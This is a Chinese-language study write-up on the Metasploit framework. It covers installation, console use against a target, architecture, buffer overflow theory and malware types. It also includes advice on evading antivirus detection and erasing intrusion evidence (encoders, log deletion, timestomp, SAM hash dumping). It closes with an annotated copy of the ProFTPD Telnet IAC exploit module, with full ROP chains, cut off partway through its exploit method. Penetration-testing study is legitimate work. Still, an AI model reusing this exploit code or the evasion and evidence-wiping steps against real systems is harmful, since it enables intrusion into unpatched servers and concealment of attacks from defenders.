**Metasploit**

目录

一、metasploit简介 1

二、搭建metasploit环境 1

三、metasploit的使用 2

四、Metasploit攻击方法分类 3

五、Metasploit架构 4

六、Metasploit二次开发方法 6

七、安全软件常用检测方法 6

八、Metasploit反检测方法 7

九、一般攻击的过程 7

十、恶意软件分类 8

十一、exploits详细解析之proftp\_telnet\_iac.rb 8

# 一、metasploit简介

 Metasploit是一款开源的安全漏洞检测工具，同时Metasploit是免费的工具，因此安全工作人员常用Metasploit工具来检测系统的安全性。Metasploit Framework (MSF) 在2003年以开放源码方式发布，是可以自由获取的开发框架。它是一个强大的开源平台，供开发，测试和使用恶意代码，这个环境为渗透测试、shellcode 编写和漏洞研究提供了一个可靠平台。

　　这种可以扩展的模型将负载控制(payload)、编码器(encode)、无操作生成器(nops)和漏洞整合在一起，使 Metasploit Framework 成为一种研究高危漏洞的途径。它集成了各平台上常见的溢出漏洞和流行的 shellcode ，并且不断更新。

目前的版本收集了数百个实用的溢出攻击程序及一些辅助工具，让人们使用简单的方法完成安全漏洞检测，即使一个不懂安全的人也可以轻松的使用它。当然，它并不只是一个简单的收集工具，提供了所有的类和方法，让开发人员使用这些代码方便快速的进行二次开发。

 其核心中一小部分由汇编和C语言实现，其余由ruby实现。不建议修改汇编和C语言部分。

# 二、搭建metasploit环境

Windows环境下安装。

从官方网站<http://www.metasploit.com/>下载windows版本的安装版，直接安装即可。安装的版本是3.5.1。安装时需要注意以下两点：

1. 在安装的时候要关闭杀毒软件。否则的话会导致杀毒软件和metasploit冲突，导致安装失败。
2. 在控制面版——区域和语言选项——选择英文（美国）——高级选项卡中选择英文（美国）。因为在安装的时候，会进行检测，如果属于非英文地区会导致安装失败。

如果安装有杀毒软件，会经常提示在metasploit的安装目录下检测到病毒或木马。

Linux下环境下安装。

官方网站提供了两种Linux下的安装方式，一种是打包好的metasploit安装包，如framework-3.5.1-linux-i686.run，里面包含了安装所需要的各种包，下载后直接在电脑上安装即可。安装的时候需要具有root权限。如果装有杀毒软件，在安装的时候需要关闭杀毒软件。

另一种是源码包方式，下载到本机后自己安装。需要事先安装各种所信赖的包，安装后需要进行一定的配置，较为麻烦。本例使用了源码包安装方式，因为之前安装了postsql，在使用framework-3.5.1-linux-i686.run安装时会报错已经安装好了postsql数据库等。使用windows下的metasploit时，学习到一定阶段后，感觉有些东西搞不明白，就安装了Linux版本下的metasploit来学习。

# 三、metasploit的使用

Metasploit目前提供了三种用户使用接口，一个是GUI模式，另一个是console模式，第三种是CLI（命令行）模式。原来还提供一种WEB模式，目前已经不再支持。目前这三种模式各有优缺点，建议在MSF console模式中使用。在console中几乎可以使用MSF所提供的所有功能，还可以在console中执行一些其它的外部命令，如ping。

Windows下GUI启动方式。从开始菜单——Metasploit Framework——Metaspliit GUI即可。,如下图所示：



图1：metasploit GUI启动方式

其GUI模式启动后界面如图2所示：



图2：metasploit GUI启动后界面

Windows下console模式的启动方式与GUI方式类似，启动后界面如图3所示：



图3：metasploit console启动后界面

 Metasploit的使用较为简单，了解其基本命令即可。下面以console的使用方式为例说明如何使用：

 输入help或？可查看帮助信息。如图4所示



图4：help

 下面以exploit中的ms04\_045\_wins为例进行说明。

1 show exploits 如图5所示：



图5：show exploits

2 info exploit/windows/wins/ms04\_045\_wins 查看其描述信息。如图6所示：



图6：info

3 use exploit/windows/wins/ms04\_045\_wins 使用此exploit。如图7所示：

图7：use

4 show options 查看相应的选项，如图8所示



图8：show options

5 set RHOST 192.168.1.200 设置目标

6 set RPORT 7777 设置端口

7 set PAYLOAD generic/shell\_bind\_tcp 设置使用的shellcode

8 exploit 执行攻击

 对于上面的步骤，有些并不是必须，比如第2步。GUI界面的使用方法与其类似，并且更加简单，但有些功能可能无法使用。

 在Linux上使用时，在终端上输入msfconsole即可启动终端模式。输入msfgui即可启动GUI模式。使用方式与windows上类似。

# 四、Metasploit攻击方法分类

使用的版本共有635种溢出(exploit)模块，314种辅助(auxiliary)模块，215种加载（payload）模块，27种编码(encoder)，8种nops。

exploits总的来说共分为两类溢出(exploit)攻击方法，即主动溢出和被动溢出。主动溢出是针对目标主机的漏洞主动的进行攻击以获得控制权限，被动溢出是针对目标主机被动的监听然后获得相应的操作。在所有的exploit中，针对windows平台的最多，比其它所有平台的总和还要多。

缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量溢出的数据覆盖在合法数据上,理想的情况是程序检查数据长度并不允许输入超过缓冲区长度的字符,但是绝大多数程序都会假设数据长度总是与所分配的储存空间相匹配,这就为缓冲区溢出埋下隐患.操作系统所使用的缓冲区又被称为"堆栈". 在各个操作进程之间,指令会被临时储存在"堆栈"当中,"堆栈"也会出现缓冲区溢出。

缓冲区溢出是一种非常普遍、非常危险的漏洞，在各种操作系统、应用程序中广泛存在。利用缓冲区溢出可民导致程序运行失败、系统死机、重新启动等后，也可以利用其获得非授权指令，甚至系统特权，进而进行各种非法的操作。

在当前网络与分布式系统安全中，被广泛利用的50%以上都是缓冲区溢出。缓冲区溢出中，最为危险的是堆栈溢出，因为入侵者可以利用堆栈溢出，在函数返回时改变返回程序的地址，让其跳转到任意地址，带来的危害一种是程序崩溃导致拒绝服务，另外一种就是跳转并且执行一段恶意代码，比如得到shell，然后为所欲为。

通过往程序的缓冲区写超出其长度的内容，造成缓冲区的溢出，从而破坏程序的堆栈，造成程序崩溃或使程序转而执行其它指令，以达到攻击的目的。造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。

随便往缓冲区中填东西造成它溢出一般只会出现“分段错误”（Segmentation fault），而不能达到攻击的目的。最常见的手段是通过制造缓冲区溢出使程序运行一个用户shell，再通过shell执行其它命令。如果该程序属于root且有suid权限的话，攻击者就获得了一个有root权限的shell，可以对系统进行任意操作了。

缓冲区溢出攻击之所以成为一种常见安全攻击手段其原因在于缓冲区溢出漏洞太普遍了，并且易于实现。而且，缓冲区溢出成为远程攻击的主要手段其原因在于缓冲区溢出漏洞给予了攻击者他所想要的一切：植入并且执行攻击代码。被植入的攻击代码以一定的权限运行有缓冲区溢出漏洞的程序，从而得到被攻击主机的控制权。

缓冲区溢出攻击的目的在于扰乱具有某些特权运行的程序的功能，这样可以使得攻击者取得程序的控制权，如果该程序具有足够的权限，那么整个主机就被控制了。一般而言，攻击者攻击root程序，然后执行类似“exec(sh)”的执行代码来获得root权限的shell。为了达到这个目的，攻击者必须达到如下的两个目标：

　　1. 在程序的地址空间里安排适当的代码。

　　2. 通过适当的初始化寄存器和内存，让程序跳转到入侵者安排的地址空间执行。

每当一个函数调用发生时，调用者会在堆栈中留下一个活动纪录，它包含了函数结束时返回的地址。攻击者通过溢出堆栈中的自动变量，使返回地址指向攻击代码。通过改变程序的返回地址，当函数调用结束时，程序就跳转到攻击者设定的地址，而不是原先的地址。这类的缓冲区溢出被称为堆栈溢出攻击（Stack Smashing Attack），是目前最常用的缓冲区溢出攻击方式。

函数指针可以用来定位任何地址空间。例如：“void (\* foo)()”声明了一个返回值为void的函数指针变量foo。所以攻击者只需在任何空间内的函数指针附近找到一个能够溢出的缓冲区，然后溢出这个缓冲区来改变函数指针。在某一时刻，当程序通过函数指针调用函数时，程序的流程就按攻击者的意图实现了。它的一个攻击范例就是在Linux系统下的superprobe程序。

　　在C语言中包含了一个简单的检验/恢复系统，称为setjmp/longjmp。意思是在检验点设定“setjmp(buffer)”，用“longjmp(buffer)”来恢复检验点。然而，如果攻击者能够进入缓冲区的空间，那么“longjmp(buffer)”实际上是跳转到攻击者的代码。象函数指针一样，longjmp缓冲区能够指向任何地方，所以攻击者所要做的就是找到一个可供溢出的缓冲区。

 在metasploit中溢出模块(Exploit)共分为13种，分别是：ais、bsdi、dialup、freebsd、hpux、irix、linux、multi、netware、osx、solaris、unix、windows。其中windows下面的最多。

辅助（Auxiliary）模块共分为13种，分别是admin、client、crawler、dos、fuzzers、gather、pdf、scanner、server、sniffer、spoof、sqli、voip。

加载(payload)模块共分为13种，分别是aix、bsd、bsdi、cmd、generic、java、linux、netware、osx、php、solaris、tty、windows。

# 五、Metasploit架构

Metasploit Framework并不止具有exploit(溢出)收集功能，它使你专注于创建自己的溢出模块或者二次开发。很少的一部分用汇编和C语言实现，其余均由ruby实现。总体架构如图9所示：



图9：metasploit 整体架构

TOOLS 集成了各种实用工具，多数为收集的其它软件

PLUGINS 各种插件，多数为收集的其它软件。直接调用其API，但只能在console模式下工作。

MODULES 目前的Metasploit Framework 的各个模块

MSF core 表示Metasploit Framework core 提供基本的API，并且定义了MSF的框架。并将各个子系统集成在一起。组织比较散乱，不建议更改。

MSF Base 提供了一些扩展的、易用的API以供调用，允许更改

Rex LIBRARIES Metasploit Framework中所包含的各种库，是类、方法和模块的集合

CLI 表示命令行界面

GUI 图形用户界面

Console 控制台用户界面

Web 网页界面，目前已不再支持

Exploits 定义实现了一些溢出模块，不含payload的话是一个Aux

Payload 由一些可动态运行在远程主机上的代码组成

Nops 用以产生缓冲区填充的非操作性指令

Aux 一些辅助模块，用以实现辅助攻击，如端口扫描工具

Encoders 重新进行编码，用以实现反检测功能等

 /msf3/plugins主要包括一些数据库插件、会话插件、线程插件、socket插件等；

/ postgresql/lib/plugins主要是postgresql的调试插件和分析插件。还有一些其它的插件，比如ruby插件等。

/tools主要是一些辅助工具，如vncviewer、7za等。

 /msf3/tools主要是一些转化工具，如memdump、ruby工具等。

MSF core定义了整个软件的架构方式，提供了一些基本的API，主要由汇编和C语言来实现，一般情况下不允许直接调用。共有136个汇编文件，7个.h文件，681个.C文件。MSF core组织的比较散乱，不建议更改。

汇编部分主要完成的是与相应的操作系统(如windows、linux等)有关的功能，主要是shellcode的实现等。

C语言完成的功能比较多，主要是meterpreter的实现和一些工具性的应用，包括ruby相关、内存相关（如memdump.c,属于memdump软件包，用于在DOS和Windows 9x 中dump或copy 4GB以内的地址空间）、网络相关(pcaprub.c，属于libpcap软件包的一部分，是ruby中网络的一部分)、反检测相关（timestomp.c，属于timestomp软件，用于修改文件的时间戳）等。其工具性的应用多是直接来自于其它工具软件。

Meterpreter是MSF core中最重要的一部分，其本身是一个具有多种功能的动态payload，并且可以在运行时动态扩展。它提供了交互式shell的基础。整个运行在内存当中，但它并不创建新的进程，并且使用了加密的通信方法，能有效避免检测。

MSF base分布在很多文件夹当中，定义了大量的实用API，例如svn API、scan API、encode API、更新API、操作API、数据库API、exploit API、GUI API、java API、meterpreter API、php API、snmp API、模块API、ruby API、网络API等……主要供modules下的相关程序进行调用，开发人员也可直接调用其API。

# 六、Metasploit二次开发方法

Metasploit中的类和方法具有很好的可读性，并且采用了元编程的思想，使得进行二次开发更加方便快捷。简单的说一个程序能够产生另一个程序，就是元编程。ruby、python等均可方便的采用元编程思想。metasploit中前四个字母正好是meta，猜测其是**Metaprogramming**的含义。

Metasploit中所有的模块都从Msf::Module中继承，并且所有的模块有一个共享的API库。

在Metasploit中修改的exploit、payload等模块时，直接找到相应的文件修改并保存，重新启动console即可看到自己修改后的模块的效果。

在metasploit当中增加exploit、auxiliary等模块时，最快捷的方法是仿照现有的模块方式、使用metasploit中提供的协议（比如使用metasploit中的socket方法，而不使用ruby中的socket方法，meterpreter对socket进行的封装和扩展功能，使用起来更加方便，增加了代理、ssh等特征）。模块写好后放在相应的目录，重新启动console即可看到自己所增加的模块部分。

 下面是一些攻击经常使用的模块的位置。

auxiliary模块位于/msf3/modules/auxiliary/下。

Exploits模块位于/msf3/modules/exploits/下。

Payloads模块位于/msf3/modules/payloads/下。

Nops模块位于/msf3/modules/nops下。

Encoders模块位于/msf3/modules/encoders/下。

另外在core部分也有一些exploit、aux等，其作用是为上述的攻击部分提供基础，被上述模块调用。在windows或是在linux中都使用上述方法进行二次开发。后面会详细的介绍新增一个exploit的方法和过程。

# 七、安全软件常用检测方法

1 基于事务发生的时间戳，时间

2 发现可疑文件时，寻找其它具有类似MAC地址的文件，位置

3 根据文件扩展名和签名，文件特征

4 对于系统内文件创建MD5校验，内容

5 查找相应的关键字，关键字

6 对文件的内容进行行为分析，行为分析。安全软件预先知道大量的病毒指令序列，可对文件内容进行检测，如果发现匹配的序列就发出警告。

7 检查当前的进程、端口、文件系统等,状态检查

8 在文件写入磁盘时进行检测。

# 八、Metasploit反检测方法

 针对安全软件常用的检测方法，metasploit当中集成了一些反检测的方法。还有一些相应的建议。

1 在metasploit中使用了meterpreter方法提供一些实用的API。但是meterpreter整个运行在内存当中；但它并不创建新的进程；并且使用了加密的通信方法；并且能够有效的消除入侵证据。整个过程大约在1秒内完成。避免了一些安全软件对于进程的检测。

2 内置了27种encode模块，可对metasploit中的exploit进行编码(encode)，以避免反病毒软件检测。27 种encode如下：

Name Rank Description

 ---- ---- -----------

 cmd/generic\_sh good Generic Shell Variable Substitution Command Encoder

 cmd/ifs low Generic ${IFS} Substitution Command Encoder

 cmd/printf\_php\_mq good printf(1) via PHP magic\_quotes Utility Command Encoder

 generic/none normal The "none" Encoder

 mipsbe/longxor normal XOR Encoder

 mipsle/longxor normal XOR Encoder

 php/base64 great PHP Base64 encoder

 ppc/longxor normal PPC LongXOR Encoder

 ppc/longxor\_tag normal PPC LongXOR Encoder

 sparc/longxor\_tag normal SPARC DWORD XOR Encoder

 x64/xor normal XOR Encoder

 x86/alpha\_mixed low Alpha2 Alphanumeric Mixedcase Encoder

 x86/alpha\_upper low Alpha2 Alphanumeric Uppercase Encoder

 x86/avoid\_utf8\_tolower manual Avoid UTF8/tolower

 x86/call4\_dword\_xor normal Call+4 Dword XOR Encoder

 x86/context\_cpuid manual CPUID-based Context Keyed Payload Encoder

 x86/context\_stat manual stat(2)-based Context Keyed Payload Encoder

 x86/context\_time manual time(2)-based Context Keyed Payload Encoder

 x86/countdown normal Single-byte XOR Countdown Encoder

 x86/fnstenv\_mov normal Variable-length Fnstenv/mov Dword XOR Encoder

 x86/jmp\_call\_additive normal Jump/Call XOR Additive Feedback Encoder

 x86/nonalpha low Non-Alpha Encoder

 x86/nonupper low Non-Upper Encoder

 x86/shikata\_ga\_nai excellent Polymorphic XOR Additive Feedback Encoder

 x86/single\_static\_bit manual Single Static Bit

 x86/unicode\_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder

 x86/unicode\_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder

很多反病毒软件是基于签名(signature-based)技术来进行病毒检测的，metasploit可以使用相应的payload将签名更改，从而达到反检测的目的。比如对一个软件采用多种编码方法以应对安全软件的检测，比如“ABC”这三个字母对于某个漏洞而言具有攻击性，编码时对每个字母采用不同的编码方式以逃避安全软件的检测。

3 内置日志删除模块，可以删除相应的事务日志，以避免检测。

4 metasploit framework中集成了timestomp（用于修改文件时间戳）、slacker（用于隐藏文件）、SAM Juicer（meterpreter的一部分，用于从SAM中转储哈希）、伪造MAC地址等工具用于消除入侵证据。

5 避免使用一些明显具有木马或病毒含义的名子或关键字，如“灰鸽子”等肯定会引起安全软件的注意。

6 所开发的模块尽量放在目标机多个存储位置，以避免所有的模块被安全软件一次清除

7 攻击安全软件，使安全软件失效，目前还未开发。

# 九、一般攻击的过程

1 获得EIP。IP是指令寄存器，存放当前指令的下一条指令的地址，CPU该执行哪条指令就是通过IP来指示的。EIP为32位机的指令寄存器，存放的是相对地址，也就是基于段基址的偏移值。CPU的ESP寄存器存放当前线程的栈顶指针，EBP存放当前线程的栈底指针。

2插入shellcode。Shellcode实际上是一段代码或填充数据，用来发送到服务器利用特定的漏洞的代码，一般可以获取权限。另外，shellcode一般是作为数据发送给受攻击服务的。Shellcode是溢出程序或病毒的核心。主要针对没有打补丁的主机有作用。Shellcode一般用C语言或汇编语言编写，C语言编写较快，汇编语言便于控制shellcode的生成。一个shellcode只能为特定的平台所使用，不能供多个溢出程序、操作系统使用。

Shellcode即可以是本地的也可以是远程的。本地shellcode主要是一名攻击者为了获取本地计算机权限，例如一段缓冲区溢出程序成功执行后可以获得一定的权限。

远程shellcode主要是一名攻击者为了获得本地网络或互联网上另一台主机的控制权限，如果成功后攻击者可以通过网络获得目标主机的控制权限。如果它可以连接攻击者和被攻击者，称为反向连接shellcode。如果它通过绑定一个相应的端口来进行控制，称之为bindshell。第三种shellcode非常特殊，它在目标机上创建一个可以让攻击者重复利用的连接，而这个连接是建立在目标机现有的连接之上，并不创建新的连接。这种shellcode最难创建也最不容易被检测。

3反向连接shell

 即将目标主机当做服务，攻击者机器作为客户端。

4 添加用户或其它

# 十、恶意软件分类

1 特洛伊木马（Trojan horse）潜茂在其它有用的软件中实施恶意操作的指令。通常将编写程序时就已经安装的恶意指令称为特洛伊木马，在程序编写完后加入的恶意代码称为病毒。

2 病毒（virus） 在执行之后能将自身植入到其它程序中的指令。病毒安装在其它程序的方式：替换任意指令，比如在X处的指令替换成跳转到内存的其他某个地方Y，然后在Y处执行病毒代码，然后在病毒代码后加入口令，使病毒代码执行完后跳到X+1处。

1. 蠕虫（worm）能自我复制并通过网络将自己安装在其他计算机上的程序。
2. 陷门（trapdoor）故意在程序中加入未开放的入口，经常用于调试程序，也可以作为安全漏洞使用。
3. 逻辑炸弹（logic bomb）在未来根据特定条件启动的恶意指令，比如在特定的时间启动。
4. 僵尸(zombie) 在其他计算机上安装的恶意代码，可通过远程控制这种代码的方式实施攻击，由于攻击来自其它主机，这种方式更难追踪。攻击者经常安装大量的僵尸以制造大量的网络流量。

# 十一、exploits详细解析之proftp\_telnet\_iac.rb

Metasploit中的exploit部分设计目标是提供一个开发exploit简单方法，提供了大量的库，并且使用了ruby中的Mix-in(糅和或混合插入)方法实现多重继承，以便于让二次开发人员能够快速的进行二次开发。

所有的exploit都具有类似的结构，每一个exploit开始都有一个initialize；其次定义了check方法，此方法并不是必须的；最后定义了exploit方法。

在initialize方法中，含有本exploit的描述信息（作者、漏洞溢出方法描述）、使用选项（设定主机IP、端口号等）和shellcode部分。

Check方法并不是必须的，主要是检查目标机的情况，比如目标机是否易受攻击，本溢出方法是否适合攻击目标机等。检查完后返回一些已经预定义好的值（后面的注释为自我理解，可能不够准确），如下：

CheckCode::Safe 目标机安全，攻击可能无效

CheckCode::Detected 目标机提供了相应的服务

CheckCode::Appears 目标机已经被感染

CheckCode::Vulnerable 目标机易受攻击

CheckCode::Unsupported 本exploit对目标机不可用

Exploit方法主要是连接到目标主机，执行shellcode等。

以metasploit当中的exploits当中的linux/ftp/proftp\_telnet\_iac.rb为例说明。代码如下并进行了相应的注释：

##

# $Id: proftp\_telnet\_iac.rb 11208 2010-12-02 21:10:03Z jduck $

##

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

##

##

#加载核心库文件msf3/lib/msf/core.rb

#核心库文件中提供了整个框架中各个部分的交互，

#比如UI、数据库操作、exploits、payloads、encoders、nops、auxiliary、sessions等

#几乎所有的exploit都要包这个核心库

##

require 'msf/core'

##

#在本模块内定义了Metasploit3子类，所有外部模块定义的Metasploit3子类在本模块均不起作用

#其父类为Msf::Exploit::Remote

##

class Metasploit3 < Msf::Exploit::Remote

 Rank = GreatRanking

 #include Msf::Exploit::Remote::Ftp

 ##包含Msf::Exploit::Remote::Tcp模块。

 #这个模块中提供了使用TCP协议所需要的一切，如RHOST，PROT，socket等

 ##

 include Msf::Exploit::Remote::Tcp

 #定义了initialize方法，本部分包括模块信息、攻击目标、shellcode等

 def initialize(info = {})

 super(update\_info(info,

 'Name' => 'ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (Linux)',

 'Description' => %q{

 This module exploits a stack-based buffer overflow in versions of ProFTPD

 server between versions 1.3.2rc3 and 1.3.3b. By sending data containing a

 large number of Telnet IAC commands, an attacker can corrupt memory and

 execute arbitrary code.

 The Debian Squeeze version of the exploit uses a little ROP stub to indirectly

 transfer the flow of execution to a pool buffer (the cmd\_rec "res" in

 "pr\_cmd\_read").

 The Ubuntu version uses a full-blow ROP to mmap RWX memory, copy a small stub

 to it, and execute the stub. The stub then copies the remainder of the payload

 in and executes it.

 NOTE: Most Linux distributions either do not ship a vulnerable version of

 ProFTPD, or they ship a version compiled with stack smashing protection.

 Although SSP significantly reduces the probability of a single attempt

 succeeding, it will not prevent exploitation. Since the daemon forks in a

 default configuration, the cookie value will remain the same despite

 some attemtps failing. By making repeated requests, an attacker can eventually

 guess the cookie value and exploit the vulnerability.

 The cookie in Ubuntu has 24-bits of entropy. This reduces the effectiveness

 and could allow exploitation in semi-reasonable amount of time.

 },

 'Author' => [ 'jduck' ],

 'Version' => '$Revision: 11208 $',

 'References' =>

 [

 ['CVE', '2010-4221'],

 ['OSVDB', '68985'],

 ['BID', '44562']

 ],

 'DefaultOptions' =>

 {

 'EXITFUNC' => 'process',

 'PrependChrootBreak' => true

 },

 'Privileged' => true,

 'Payload' =>

 {

 'Space' => 4096, #定义所需空间大小

 # NOTE: \xff are avoided here so we can control the number of them being sent.

 'BadChars' => "\x09\x0a\x0b\x0c\x0d\x20\xff",

 'DisableNops' => 'True',

 },

 'Platform' => [ 'linux', ],

 'Targets' =>

 [

 #

 # Automatic targeting via fingerprinting

 #

 [ 'Automatic Targeting', { 'auto' => true } ],

 #

 # This special one comes first since we dont want its index changing.

 #

 [ 'Debug',

 {

 'IACCount' => 8192, # should cause crash writing off end of stack

 'Offset' => 0,

 'Ret' => 0x41414242,

 'Writable' => 0x43434545

 }

 ],

 #

 # specific targets

 #

 # NOTE: this minimal rop works most of the time, but it can fail

 # if the proftpd pool memory is in a different order for whatever reason...

 [ 'ProFTPD 1.3.3a Server (Debian) - Squeeze Beta1',

 {

 'IACCount' => 4096+16,

 'Offset' => 0x102c-4,

 # NOTE: All addresses are from the proftpd binary

 'Ret' => 0x805a547, # pop esi / pop ebp / ret

 'Writable' => 0x80e81a0, # .data

 'RopStack' =>

 [

 # Writable is here

 0xcccccccc, # unused

 0x805a544, # mov eax,esi / pop ebx / pop esi / pop ebp / ret

 0xcccccccc, # becomes ebx

 0xcccccccc, # becomes esi

 0xcccccccc, # becomes ebp

 # quadruple deref the res pointer :)

 0x8068886, # mov eax,[eax] / ret

 0x8068886, # mov eax,[eax] / ret

 0x8068886, # mov eax,[eax] / ret

 0x8068886, # mov eax,[eax] / ret

 # skip the pool chunk header

 0x805bd8e, # inc eax / adc cl, cl / ret

 0x805bd8e, # inc eax / adc cl, cl / ret

 0x805bd8e, # inc eax / adc cl, cl / ret

 0x805bd8e, # inc eax / adc cl, cl / ret

 0x805bd8e, # inc eax / adc cl, cl / ret

 0x805bd8e, # inc eax / adc cl, cl / ret

 0x805bd8e, # inc eax / adc cl, cl / ret

 0x805bd8e, # inc eax / adc cl, cl / ret

 0x805bd8e, # inc eax / adc cl, cl / ret

 0x805bd8e, # inc eax / adc cl, cl / ret

 0x805bd8e, # inc eax / adc cl, cl / ret

 0x805bd8e, # inc eax / adc cl, cl / ret

 0x805bd8e, # inc eax / adc cl, cl / ret

 0x805bd8e, # inc eax / adc cl, cl / ret

 0x805bd8e, # inc eax / adc cl, cl / ret

 0x805bd8e, # inc eax / adc cl, cl / ret

 # execute the data :)

 0x0805c26c, # jmp eax

 ],

 }

 ],

 # For the version compiled with symbols :)

 [ 'ProFTPD 1\_3\_3a Server (Debian) - Squeeze Beta1 (Debug)',

 {

 'IACCount' => 4096+16,

 'Offset' => 0x1028-4,

 # NOTE: All addresses are from the proftpd binary

 'Writable' => 0x80ec570, # .data

 'Ret' => 0x80d78c2, # pop esi / pop ebp / ret

 'RopStack' =>

 [

 # Writable is here

 #0x0808162a, # jmp esp (works w/esp fixup)

 0xcccccccc, # unused becomes ebp

 0x80d78c2, # mov eax,esi / pop esi / pop ebp / ret

 0xcccccccc, # unused becomes esi

 0xcccccccc, # unused becomes ebp

 # quadruple deref the res pointer :)

 0x806a915, # mov eax,[eax] / pop ebp / ret

 0xcccccccc, # unused becomes ebp

 0x806a915, # mov eax,[eax] / pop ebp / ret

 0xcccccccc, # unused becomes ebp

 0x806a915, # mov eax,[eax] / pop ebp / ret

 0xcccccccc, # unused becomes ebp

 0x806a915, # mov eax,[eax] / pop ebp / ret

 0xcccccccc, # unused becomes ebp

 # skip the pool chunk header

 0x805d6a9, # inc eax / adc cl, cl / ret

 0x805d6a9, # inc eax / adc cl, cl / ret

 0x805d6a9, # inc eax / adc cl, cl / ret

 0x805d6a9, # inc eax / adc cl, cl / ret

 0x805d6a9, # inc eax / adc cl, cl / ret

 0x805d6a9, # inc eax / adc cl, cl / ret

 0x805d6a9, # inc eax / adc cl, cl / ret

 0x805d6a9, # inc eax / adc cl, cl / ret

 0x805d6a9, # inc eax / adc cl, cl / ret

 0x805d6a9, # inc eax / adc cl, cl / ret

 0x805d6a9, # inc eax / adc cl, cl / ret

 0x805d6a9, # inc eax / adc cl, cl / ret

 0x805d6a9, # inc eax / adc cl, cl / ret

 0x805d6a9, # inc eax / adc cl, cl / ret

 0x805d6a9, # inc eax / adc cl, cl / ret

 0x805d6a9, # inc eax / adc cl, cl / ret

 # execute the data :)

 0x08058de6, # jmp eax

 ],

 }

 ],

 [ 'ProFTPD 1.3.2c Server (Ubuntu 10.04)',

 {

 'IACCount' => 1018,

 'Offset' => 0x420,

 'CookieOffset' => -0x20,

 'Writable' => 0x80db3a0, # becomes esi (beginning of .data)

 'Ret' => 0x805389b, # pop esi / pop ebp / ret

 'RopStack' =>

 [

 0xcccccccc, # becomes ebp

 0x8080f04, # pop eax / ret

 0x80db330, # becomes eax (GOT of mmap64)

 0x806a716, # mov eax, [eax] / ret

 0x805dd5c, # jmp eax

 0x80607b2, # add esp, 0x24 / pop ebx / pop ebp / ret

 # mmap args

 0, 0x20000, 0x7, 0x22, 0xffffffff, 0,

 0, # unused

 0xcccccccc, # unused

 0xcccccccc, # unused

 0x100000000 - 0x5d5b24c4 + 0x80db3a4, # becomes ebx

 0xcccccccc, # becomes ebp

 # note, ebx gets fixed above :)

 # 0xfe in 'ah' doesn't matter since we have more than enough space.

 # now, load an instruction to store to eax

 0x808b542, # pop edx / mov ah, 0xfe / inc dword ptr [ebx+0x5d5b24c4] / ret

 # becomes edx - mov [eax+ebp\*4]; ebx / ret

 "\x89\x1c\xa8\xc3".unpack('V').first,

 # store it :)

 0x805c2d0, # mov [eax], edx / add esp, 0x10 / pop ebx / pop esi / pop ebp / ret

 0xcccccccc, # unused

 0xcccccccc, # unused

 0xcccccccc, # unused

 0xcccccccc, # unused

 0xcccccccc, # becomes ebx

 0xcccccccc, # becomes esi

 0xcccccccc, # becomes ebp

 # Copy the following stub:

 #"\x8d\xb4\x24\x21\xfb\xff\xff" # lea esi, [esp-0x4df]

 #"\x8d\x78\x12" # lea edi, [eax+0x12]

 #"\x6a\x7f" # push 0x7f

 #"\x59" # pop ecx

 #"\xf2\xa5" # rep movsd

 0x80607b5, # pop ebx / pop ebp / ret

 0xfb2124b4, # becomes ebx

 1, # becomes ebp

 0x805dd5c, # jmp eax

 0x80607b5, # pop ebx / pop ebp / ret

 0x788dffff, # becomes ebx

 2, # becomes ebp

 0x805dd5c, # jmp eax

 0x80607b5, # pop ebx / pop ebp / ret

 0x597f6a12, # becomes ebx

 3, # becomes ebp

 0x805dd5c, # jmp eax

 0x80607b5, # pop ebx / pop ebp / ret

 0x9090a5f2, # becomes ebx

 4, # becomes ebp

 0x805dd5c, # jmp eax

 0x80607b5, # pop ebx / pop ebp / ret

 0x8d909090, # becomes ebx

 0, # becomes ebp

 0x805dd5c, # jmp eax

 # hopefully we dont get here

 0xcccccccc,

 ],

 }

 ]

 ],

 'DefaultTarget' => 0,

 'DisclosureDate' => 'Nov 1 2010'))

 register\_options(

 [

 Opt::RPORT(21),

 ], self.class )

 end

 ##定义了check 方法,检查目标机

 def check

 # NOTE: We don't care if the login failed here...

 ret = connect #连接目标机,connect为内置命令

 banner = sock.get\_once #获取目标机标识

 # We just want the banner to check against our targets..

 print\_status("FTP Banner: #{banner.strip}") #打印目标机标识状态

 status = CheckCode::Safe #先设定目标机安全

 if banner =~ /ProFTPD (1\.3\.[23][^ ])/i #查看其标识是否匹配特定的软件

 ver = $1

 maj,min,rel = ver.split('.')

 relv = rel.slice!(0,1)

 case relv

 when '2'

 if rel.length > 0

 if rel[0,2] == 'rc'

 if rel[2,rel.length].to\_i >= 3

 status = CheckCode::Vulnerable

 end

 else

 status = CheckCode::Vulnerable

 end

 end

 when '3'

 # 1.3.3+ defaults to vulnerable (until >= 1.3.3c)

 status = CheckCode::Vulnerable

 if rel.length > 0

 if rel[0,2] != 'rc' and rel[0,1] > 'b'

 status = CheckCode::Safe

 end

 end

 end

 end

 disconnect #断开连接

 return status #返回状态

 end

 ##定义了exploit方法

 def exploit

 connect

 banner = sock.get\_once

 # Use a copy of the target

 mytarget = target

 if (target['auto'])

 mytarget = nil

 print\_status("Automatically detecting the target...")

 if (banner and (m = banner.match(/ProFTPD (1\.3\.[23][^ ]) Server/i))) then

 print\_status("FTP Banner: #{banner.strip}")

 version = m[1]

 else

 raise RuntimeError, "No matching target"

 end

 regexp = Regexp.escape(version)

 self.targets.each do |t|

 if (t.name =~ /#{regexp}/) then

 mytarget = t

 break

 end

 end

 if (not mytarget)

 raise RuntimeError, "No matching target"

 end

 print\_status("Selected Target: #{mytarget.name}")

 else

 print\_status("Trying target #{mytarget.name}...")

 if banner

 print\_status("FTP Banner: #{banner.strip}")

 end

 end

 #puts "attach and press any key"; bleh = $stdin.gets

 buf = ''

 buf << 'SITE '

 #buf << "\xcc"

 if mytarget['CookieOffset']

 buf << "\x8d\xa0\xfc\xdf\xff\xff" # lea esp, [eax-0x2004]

 end

 buf << payload.encoded

 # The number of characters left must be odd at this point.

 buf << rand\_text(1) if (buf.length % 2) == 0

 buf << "\xff" \* (mytarget['IACCount'] - payload.encoded.length)

